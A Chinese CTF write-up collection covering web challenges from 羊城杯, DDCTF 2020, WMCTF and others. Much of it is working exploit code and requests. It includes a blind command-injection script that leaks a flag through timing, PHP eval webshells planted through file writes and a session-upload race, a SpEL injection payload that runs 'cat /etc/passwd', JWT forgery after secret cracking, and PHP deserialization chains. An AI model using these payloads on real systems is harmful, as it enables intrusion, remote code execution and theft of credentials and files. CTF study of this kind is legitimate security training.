echo "fuck";
$齿轮->总结(str_replace(array('&','<','>'), array('&amp;','&lt;','"&gt;'), $_POST['note']));
echo('<span style="color:green">write succ!</span>');
} else {
echo('<span style="color:red">note too long!</span>');
}
}
?>
  • session_set_save_handler

session handler默认启动顺序是session_start分别调用的回调函数。为open read ,然后等待脚本结束,收集$_SESSION(默认在内存中),然后关闭脚本,然后执行write,写入文件,然后close。

1
session_set_save_handler("sess_open", "sess_close", "sess_read", "sess_write", "sess_destroy", "sess_gc"); session_set_save_handler(array($齿轮,'挖掘'),array($齿轮,'完毕'),array($齿轮,'收获'),array($齿轮,'种植'),array($齿轮,'反省'),array($齿轮,'完毕'));

从代码脚本分析流程来看,分为两种情况

  • post note =NULL __construct挖掘收获脚本执行 __destruct归纳总结种植完毕

  • post note =NULL__construct挖掘收获脚本执行总结 __destruct归纳总结种植完毕

执行代码中坑:

如果你在使用解析后的代码时,遇到 file_get_contentfile_put_content报错问题,且note可以生成并写入,即输入note后脚本执行加总结可以执行(尝试过程中发现php7.0版本都有这个问题),但之后的归纳总结种植无法执行,可以将路径换成/proc/self/cwd/就可以正常执行。

题外话: 这个坑踩了一个下午,一直以为是配置问题,后来想到之前考到的一题中讲到include_once/x/../proc/self/cwd搭配可以再读一次代码(之前已经包含代码了),于是猜测session_set_save_handler 解析出了问题

具体分析

解题的思路,主要利用原有函数的读写操作和session导致的反序列化(主要是造齿轮类的反序列化),后一部分的原来,可以看这篇文章session serialize

先以正常的读写过程为例

  • post_note情况下:
1
2
3
4
5
6
7
8
9
st=>start: __contruct
op1=>operation: 挖掘,检查PHPSESSID是否在黑名单
op2=>operation: 收获,read(storage/sess_PHPSESSID),贡品=货物
op3=>operation: __destruct
op4=>operation: 归纳,read(storage/note_PHPSESSID)
op5=>operation: 总结,write(storage/note_PHPSESSID,归纳),当PHPSESSID为空时,return NULL
op6=>operation: 种植,write(storage/sess_PHPSESSID,session_serialize)
e=>end: 完毕
st->op1->op2->op3->op4->op5->op6->e
  • post_note情况下:
1
2
3
4
5
6
7
8
9
10
st=>start: __contruct
op1=>operation: 挖掘,检查PHPSESSID是否在黑名单
op2=>operation: 收获,read(storage/sess_PHPSESSID),贡品=货物
op7=>operation: 总结,write(storage/note_PHPSESSID,post_note)
op3=>operation: __destruct
op4=>operation: 归纳,read(storage/note_PHPSESSID)
op5=>operation: 总结,write(storage/note_PHPSESSID,归纳),当PHPSESSID为空时,return NULL
op6=>operation: 种植,write(storage/sess_PHPSESSID,session_serialize)
e=>end: 完毕
st->op1->op2->op7->op3->op4->op5->op6->e
  • post_id情况下:
1
2
3
4
5
6
7
8
9
10
st=>start: __contruct
op1=>operation: 挖掘,检查PHPSESSID是否在黑名单
op2=>operation: 收获,read(storage/sess_PHPSESSID),贡品=货物
op7=>operation: 脚本 array_push($_SESSION['items'], $_POST['id'])
op3=>operation: __destruct
op4=>operation: 归纳,read(storage/note_PHPSESSID)
op5=>operation: 总结,write(storage/note_PHPSESSID,归纳),当PHPSESSID为空时,return NULL
op6=>operation: 种植,write(storage/sess_PHPSESSID,session_serialize)
e=>end: 完毕
st->op1->op2->op7->op3->op4->op5->op6->e

漏洞产生:

file_get_contentsfile_put_contents会对/right_path/../path_name/error_path/../path_name会产生不同的操作

  • /right_path/../path_name 不会执行
  • /error_path/../path_name 会执行

即 write(storage/note_fe1w0/../sess_xz)成功

这样我们就可以利用收获函数的session读取,导致造齿轮类反序列化.

具体payload 可以看https://www.anquanke.com/post/id/216289#h3-6,

因为我在复现过程,发现疑惑且无法解答

先放出齿轮类反序列化流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
st=>start: __contruct
op1=>operation: 挖掘,检查PHPSESSID是否在黑名单
op2=>operation: 收获,read(storage/sess_PHPSESSID),贡品=货物
op7=>operation: 脚本 array_push($_SESSION['items'], $_POST['id'])
op3=>operation: __destruct
op4=>operation: 归纳,read(storage/note_PHPSESSID)
op5=>operation: 总结,write(storage/note_PHPSESSID,归纳),当PHPSESSID为空时,return NULL
op8=>operation: __destruct + 反序列化
op4=>operation: 归纳,read(storage/$this->贡品)
op5=>operation: 总结,write(storage/$this->贡品,归纳),当PHPSESSID为空时,return NULL
op6=>operation: 种植,write(storage/sess_PHPSESSID,session_serialize)
e=>end: 完毕
st->op1->op2->op7->op3->op4->op5->op8->op4->op5->op6->e

可以对比无post_note情况下流程图,可以发现要生成node_cmd.php的前提条件为file_put_contents(/error_path)orfile_put_contents(new_file)可以执行,否则将无法谢shell

但回顾到一开始的状态,即无post_note情况下流程图,会发现若file_put_contents(/error_path)orfile_put_contents(new_file)可以执行,这样的话,在get方式请求时,都会生成两个文件。

更坑的是,当你到第二步,想利用/error_path/../sess_name 执行时,会导致sess_name会被写两次,导致无法实际控制

以下是我在假设环境符合题意下的payload 学习,若以上想法有什么问题,还请师傅们斧正.👍

当然由于path可控,那就可以直接尝试读取flag

  • 反序列化
1
2
3
4
5
6
7
8
9
10
11
<?php
class 造齿轮 {
protected $朝拜圣地 = 'storage';
protected $贡品 = 'xz/../sess_xz';
protected $圣殿 = 'cmd.php';
protected $禁地 = '';
}
ini_set('session.save_path', '.');
session_start();
$_SESSION['a'] = new 造齿轮();
//urlencode a%7CO%3A9%3A%22%E9%80%A0%E9%BD%BF%E8%BD%AE%22%3A4%3A%7Bs%3A15%3A%22%00%2A%00%E6%9C%9D%E6%8B%9C%E5%9C%A3%E5%9C%B0%22%3Bs%3A7%3A%22storage%22%3Bs%3A9%3A%22%00%2A%00%E8%B4%A1%E5%93%81%22%3Bs%3A13%3A%22xz%2F..%2Fsess_xz%22%3Bs%3A9%3A%22%00%2A%00%E5%9C%A3%E6%AE%BF%22%3Bs%3A7%3A%22cmd.php%22%3Bs%3A9%3A%22%00%2A%00%E7%A6%81%E5%9C%B0%22%3Bs%3A0%3A%22%22%3B%7D
  • 先将 序列化文本存储在sess_xzas文件中
1
2
3
Cookie: PHPSESSID=xz/../sess_xzas

note=a%7CO%3A9%3A%22%E9%80%A0%E9%BD%BF%E8%BD%AE%22%3A4%3A%7Bs%3A15%3A%22%00%2A%00%E6%9C%9D%E6%8B%9C%E5%9C%A3%E5%9C%B0%22%3Bs%3A7%3A%22storage%22%3Bs%3A9%3A%22%00%2A%00%E8%B4%A1%E5%93%81%22%3Bs%3A13%3A%22xz%2F..%2Fsess_xz%22%3Bs%3A9%3A%22%00%2A%00%E5%9C%A3%E6%AE%BF%22%3Bs%3A7%3A%22cmd.php%22%3Bs%3A9%3A%22%00%2A%00%E7%A6%81%E5%9C%B0%22%3Bs%3A0%3A%22%22%3B%7D

image-20200914001035019

  • 将payload导入到sess_xz中,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /babycode/ HTTP/1.1
Host: 192.168.21.136
Proxy-Connection: keep-alive
Content-Length: 35
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.21.136
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4255.0 Safari/537.36 Edg/87.0.634.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.21.136/babycode/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=xz
id: <?php phpinfo();?>

sess_xz 内容

1
balance|i:2233;items|a:1:{i:0;s:18:"<?php phpinfo();?>";}note|s:0:"";
  • 导入sess_xzas,进行反序列化,将sess_xz中内容导入到node_cmd.php
1
2
3
4
5
6
7
8
9
GET /babycode/ HTTP/1.1
Host: 192.168.21.136
Proxy-Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4255.0 Safari/537.36 Edg/87.0.634.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=xzas

之后就可以访问node_cmd.php

1
balance|i:2233;items|a:1:{i:0;s:18:"<?php phpinfo();?>";}note|s:0:"";

learn from

MISC

crymisc

参考连接:

https://blog.xiafeng2333.top/ctf-30/

1
2
🔭💙🐰✊🌻🐧💙😘🌻🍶💐🍌🏊🍩🚁🏊👹🐶😀🐶😀😘👹💙🍂💇😀😀😩🌻🍟👂🍶💐🍌🏊🍩👆🏠🙇🍂🍂👼😱🚔🐶👉✊😱🏠🙇🍂🍂👼😱🚊😧💨💙💕
That is what i told her↑↑↑
  • 爆破代码

https://github.com/pavelvodrazka/ctf-writeups/tree/master/hackyeaster2018/challenges/egg17/files/cracker

  • result

image-20200830151854457

🐏城杯

🐏城杯

web

easycon

扫到 index.php,根据提示 上antsword

下载bbbbbbbb.txt,再转成flag.gif

1
cat bbbbbbbbb.txt |base64 -d >flag.gif

BlackCat

根据提示查看mp3

view-source:http://183.129.189.60:10022/Hei_Mao_Jing_Chang.mp3

在最后几行,存在代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('Ë­£¡¾¹¸Ò²ÈÎÒÒ»Ö»¶úµÄβ°Í£¡');
}

$clandestine = getenv("clandestine");//获得环境量

if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);//hmac-sha256 加密
// 注意 这里的 $clandestine 是encode($White-cat-monitor,$clandestine)
// $clandestine 可以为 空 var_dump(hash_hmac('sha256',array(),'fe1w0'));

$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);//同样对One-ear 加密
// nc ;echo '<?php phpinfo();?>' > fe1w0.php
if($hh !== $_POST['Black-Cat-Sheriff']){ //encode(One-ear) === encode(Black-Cat-Sheriff)
die('ÓÐÒâÃé×¼£¬ÎÞÒâ»÷·¢£¬ÄãµÄÃÎÏë¾ÍÊÇÄãÒªÃé×¼µÄÄ¿±ê¡£ÏàÐÅ×Ô¼º£¬Äã¾ÍÊÇÄÇ¿ÅÉäÖаÐÐĵÄ×Óµ¯¡£');
}

echo exec("nc".$_POST['One-ear']);
  • payload from 🦌🥚
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import hmac

url = "http://183.129.189.60:10022/"
data1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="
str = ""
for t in range(1, 400):
for i in data1:
one = "1;if [ $(cat flag*|base64|cut -c %i) = \"%s\" ];then sleep 6;fi" % (t, i)
key = b''
black = hmac.new(key, one.encode('utf-8'), 'sha256').hexdigest()
data2 = {
"Black-Cat-Sheriff": black,
"One-ear": one,
"White-cat-monitor[]": "1"
}
try:
res1 = requests.post(url, data=data2, timeout=4)
except:
str = str + i
print(str)
break
# print(data1)

easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);//unlink() 函数删除文件
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker"; //不区分大小写的
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) { // 不能是字母
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file); // 再删一遍
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
1
2
3
4
5
http://183.129.189.60:10023/sandbox/t1cje6n4eo2p7f7h90e54m7ng3/?filename=index.php&content=<?php eval($_GET['xz']) ?>

http://183.129.189.60:10023/sandbox/t1cje6n4eo2p7f7h90e54m7ng3/index.php?xz=system('cat /flag');

GWHT{easyApache} Hello, world

easyphp2

Coo kie:pass=GWHT 绕过第一层

  • 读取源代码

使用file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php

1
The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "
  • 命令执行

http://183.129.189.60:10025/GWHT.php?count=1' | whoami ||'

1
2
?file=GWHT.php&count=1' | find / -name flag* > fe1w0||'
/GWHT/system/of/a/down/flag.txt
  • 提高权限

www-data没有读flag.txt权限

cat /GWHT/* 得到GWHT加密后密码, 在https://www.somd5.com/

image-20200911170301301

查询得到GWHTCTF

最后,登录GWHT账号,读取flag.txt

1
2
3
4
5
www-data@18c88ee78e67:/var/www/html$ su GWHT
su GWHT
Password: GWHTCTF
cat /GWHT/system/of/a/down/flag.txt
GWHT{Y0U_H4VE_A_BETTER_SK1LL}

DDCTF-2020

web

Web签到题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PS C:\WINDOWS\System32> curl.exe http://117.51.136.197/hint/1.txt
Interface documentation
- login interface
[-][Safet Reminder]The Private key cannot use request parameter
Request
Method | POST
URL | http://117.51.136.197/admin/login
Param | username str | pwd str
Response
token str | auth(Certification information)

- auth interface
Request
Method | POST
URL | http://117.51.136.197/admin/auth
Param | username str | pwd str | token str
Response
url str | client download link

+------------------+ +----------------------+ +--------------------+
| | | | | |
| +----------------> +----------------> |
| Client(Linux) | | Auth/Command | | minion |
| <----------------+ +<---------------+ |
| | | | | |
+------------------+ +----------------------+ +--------------------+
1
2
PS C:\WINDOWS\System32> curl.exe -X POST http://117.51.136.197/admin/login  -d 'username=1&pwd=1'
{"code":0,"message":"success","data":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIxIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTMyMTMzOH0.n6AKHW8cOrmKyFZhIIeV66ZcUHx2b-D-lxT0mEheWUE"}
1
2
3
4
5
6
7
8
9
10
11
{
"typ": "JWT",
"alg": "HS256"
}

{
"userName": "1",
"pwd": "1",
"userRole": "GUEST",
"exp": 159xxxxxxx
}

这时只要细心观察或用jwtcrack 爆破,就会发现Secretpwd

1
2
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIxIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTMyMjA4OX0.TgqnVS7NyDbmX4M38Ow-K8ilgFYHx5-jzbOxUPYxoyw
Secret is "1"

那么我们就根据jwt格式编写adminjwt就行

1
2
3
4
5
6
7
8
9
10
import jwt
a = {
"userName": "admin",
"pwd": "fe1w0",
"userRole": "ADMIN",
"exp": 1599322683
}
jj=jwt.encode(a,'fe1w0', algorithm='HS256')
print(jj)
#eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiZmUxdzAiLCJ1c2VyUm9sZSI6IkFETUlOIiwiZXhwIjoxNTk5MzIyNjgzfQ.toeN4J1eAkPmZFnYXsL4qNqHhPF31YnKPv6VjZV7n_M

获得下载链接http://117.51.136.197/B5Itb8dFDaSFWZZo/client

1
2
PS C:\WINDOWS\System32> curl.exe -X POST  http://117.51.136.197/admin/auth  -d 'username=admin&pwd=fe1w0&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiZmUxdzAiLCJ1c2VyUm9sZSI6IkFETUlOIiwiZXhwIjoxNTk5MzIyNjgzfQ.toeN4J1eAkPmZFnYXsL4qNqHhPF31YnKPv6VjZV7n_M'
{"code":0,"message":"success","data":"client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client"}
  • client
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
fe1w0@fe1w0:~$ ./client 
2020/09/05 00:43:57
____ _ ____ _ ____ _____ _____ ____ ____ ____ ____
/ _ \/ \/ _ \/ \/ _\/__ __\/ / /_ \/ _ \/_ \/ _ \
| | \|| || | \|| || / / \ | __\_____ / /| / \| / /| / \|
| |_/|| || |_/|| || \__ | | | | \____\/ /_| \_/|/ /_| \_/|
\____/\_/\____/\_/\____/ \_/ \_/ \____/\____/\____/\____/


2020/09/05 00:43:57
+---------------------------------------------------+
|Flag Path := /home/dc2-user/flag/flag.txt |
|签名格式 := command|time_stamp |
+---------------------------------------------------+

2020/09/05 00:43:57
+------------------+ +----------------------+ +--------------------+
| | | | | |
| +----------------> +----------------> |
| Client | | Auth/Command | | minion |
| <----------------+ +<---------------+ |
| | | | | |
+------------------+ +----------------------+ +--------------------+


2020/09/05 00:43:57 [*]Start ping master...
2020/09/05 00:43:58 [-]http://117.51.136.197/server/health connect succuess
2020/09/05 00:43:58 [*]Start send command to minions...
2020/09/05 00:43:58 [+]get sign:F75PJ/5iqAUAek5+0lXL6WJgslyD0Wn5X5l4gGCICwI=, command:'DDCTF', time_stamp:1599237838
2020/09/05 00:43:58 [+]send command url and response:{"code":0,"message":"success","data":"DDCTF"}

wireshark抓包

image-20200905194917545

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
GET /server/health HTTP/1.1
Host: 117.51.136.197
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

HTTP/1.1 200
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 05 Sep 2020 11:48:37 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive

2a
{"code":0,"message":"success","data":null}
0

POST /server/command HTTP/1.1
Host: 117.51.136.197
User-Agent: Go-http-client/1.1
Content-Length: 103
Content-Type: application/json
Accept-Encoding: gzip

{"signature":"vwrEgR0HccLWvCB+FsgFevwkazZ5JmMECH8cDaBicuA=","command":"'DDCTF'","timestamp":1599306517}HTTP/1.1 200
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 05 Sep 2020 11:48:37 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive

2d
{"code":0,"message":"success","data":"DDCTF"}
0

signature 伪造 from saltstack_hmac

  • paylaod

比赛后问别的师傅,是 SPEL_SSTI 学习到了 ssti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import hmac
import hashlib
import base64
import time
import requests
import json

key = b'DDCTFWithYou'
t = str(int(time.time())) #time_stamp

# read /etc/passwd
#command = "{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}"
# read /home/dc2-user/flag/flag.txt command = "{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(116))).getInputStream())}"
command = "{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(116))).getInputStream())}"
message = '''%s|%s''' %(command,t)
h = hmac.new(key, bytes(message, encoding = "utf8"), hashlib.sha256).digest()
my_sign = base64.standard_b64encode(h)
my_sign = str(my_sign, encoding = "utf-8")

data = '''{"signature":"%s","command":"%s","timestamp":%s}''' %(my_sign,command,t)
#print("data: "+data+'\n\r\n\r')
res = requests.post('http://117.51.136.197/server/command',data=data)
print(res.text)

Overwrite Me [暂时未复现]

MISC

一起拼图吗

PS 拼图即可

image-20200906005257430

1
DDCTF{484e61cd1483c34d08e4d76f9022d03b}

WMCTF

web

web_checkin

我一直以为要伪协议来绕过exit,见P神谈一谈php://filter的妙用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = 'D:/phpstudy_pro/WWW/test/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
}

但这题直接读就行。

image-20200801100818551

Make PHP Great Again

参考

利用session.upload_progress进行文件包含和反序列化渗透

LFI 绕过 Session 包含限制 Getshell

PHP LFI 利用临时文件 Getshell 姿势

此题

  • apache2配置信息 http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/etc/apache2/apache2.conf
  • /proc/self/maps 读取内存映射的相关信息

但php.ini还是读不了,但可以根据2.0得到提示为/tmp文件夹下

image-20200802120506954

默认文件夹,如下:

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

  • payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import io
import requests
import threading
sessid = 'XZASFE1W0'
data = {"cmd":'system("cat flag.php");'}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('test.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/tmp/sess_'+sessid,data=data)
if 'test.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
  • result

image-20200802115339682

Make PHP Great Again 2.0

与1.0 的区别:

image-20200802120506954

1.0: \#!/bin/bash if [[ -f /flag.sh ]]; then source /flag.sh fi apache2-foreground

  • require_once 和 include_once 原理

再一次, 不要使用(include/require)_once

  1. 尝试解析文件的绝对路径, 如果能解析成功, 则检查EG(included_files), 存在则返回, 不存在继续
  2. 打开文件, 得到文件的打开路径(opened path)
  3. 拿opened path去EG(included_files)查找, 是否存在, 如果存在则返回, 不存在继续
  4. 编译文件(compile_file)

payload

1
/x/../proc/self/cwd/flag

比赛和复现过程中遇到的好文章:

Security in PHP - 那些在滲透測試的小技巧

webweb

https://fatfreeframework.com/3.7/getting-started

这题是真滴累

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// Kickstart the framework
$f3=require('lib/base.php');
$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');
// Load configuration
$f3->config('config.ini');

// set a route for get method
$f3->route('GET /',
function($f3) {
echo "just get me a,don't do anything else";
}
);
unserialize($_GET['a']);

$f3->run();

index.php的执行顺序,如下:

  • 框架初始化和配置文件导入

  • 设置一个get请求方式的路由器

  • 反序列化 参数a

  • f3执行

ws.php

websocket RFC6455 手册

简介版

index.php的执行顺序来看,代码必定会加载ws.php来进行网络通信,在WSAgent类中都有回调函数,其中Agent类中的__destruct()方法最好调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 function __destruct() {
if (isset($this->server->events['disconnect']) &&
is_callable($func=$this->server->events['disconnect']))
$func($this);
}

function __construct($server,$socket,$verb,$uri,array $hdrs) {
$this->server=$server;
$this->id=stream_socket_get_name($socket,TRUE);
$this->socket=$socket;
$this->verb=$verb;
$this->uri=$uri;
$this->headers=$hdrs;

if (isset($server->events['connect']) &&
is_callable($func=$server->events['connect'])){
$func($this);
}

}

按道理来说__construct中的回调函数应该也可,但本地测试时,一直失败

测试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

namespace cli;
class WS{
public function __construct()
{
$this=$this;
$this->agents = new Agent($this);
}
}

namespace cli;

class Agent
{
public function __construct($ws)
{
$this->server=$ws;
$this->events = array("disconnect"=>"var_dump");
}
}


echo (serialize(new WS()));
/*
O:6:"cli\WS":1:{s:6:"agents";O:9:"cli\Agent":2:{s:6:"server";r:1;s:6:"events";a:1:{s:10:"disconnect";s:8:"var_dump";}}}
*/

但此处得到的payload无效,var_dump并不会执行

php 对象引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A{
public $AA;
function __construct(){
$this->AA=new B($this);
}
}
class B{
public $BB;
function __construct($BB)
{
$this->BB=$BB;
}
}

$a = new A();
echo serialize($a)."\n";
/*
O:1:"A":1:{s:2:"AA";O:1:"B":1:{s:2:"BB";r:1;}}
*/

其中的r表示对象引用,而后的数字r :< number >,可以理解为序列化的层数

PHP 序列化(serialize)格式详解

1
2
3
O:6:"cli\WS":1:{s:6:"agents";O:9:"cli\Agent":2:{s:6:"server";r:1;s:6:"events";a:1:{s:10:"disconnect";s:8:"var_dump";}}}
# r:1转为r:2
O:6:"cli\WS":1:{s:6:"agents";O:9:"cli\Agent":2:{s:6:"server";r:2;s:6:"events";a:1:{s:10:"disconnect";s:8:"var_dump";}}}

但不知为什么r:1转为r:2 , 即$this->server=$this payload就可以用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
namespace cli;
class WS{
public function __construct()
{
$this->agents = new Agent($this);
}
}

namespace cli;
class Agent
{
public function __construct()
{
$this->server=$this;
$this->events = array("disconnect"=>"var_dump");
}
}

echo (serialize(new WS()));
# O:6:"cli\WS":1:{s:6:"agents";O:9:"cli\Agent":2:{s:6:"server";r:2;s:6:"events";a:1:{s:10:"disconnect";s:8:"var_dump";}}}

下一步: 使$this->server=$this;可控

利用db\sql\mapper.php中的__call()函数来 getshell

原本想试试db\sql.php虽然__call()也可以控制,方法跟下面差不多,就是数组那个要写成[对象|类,函数名]的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function __call($func,$args) {
return call_user_func_array(
(array_key_exists($func,$this->props)? //检查数组里是否有指定的键名或索引
$this->props[$func]:
$this->$func),$args
);
}

function find($filter=NULL,array $options=NULL,$ttl=0) {
if (!$options)
$options=[];
$options+=[
'group'=>NULL,
'order'=>NULL,
'limit'=>0,
'offset'=>0
];
$adhoc='';
foreach ($this->adhoc as $key=>$field)
$adhoc.=','.$field['expr'].' AS '.$this->db->quotekey($key);
return $this->select(
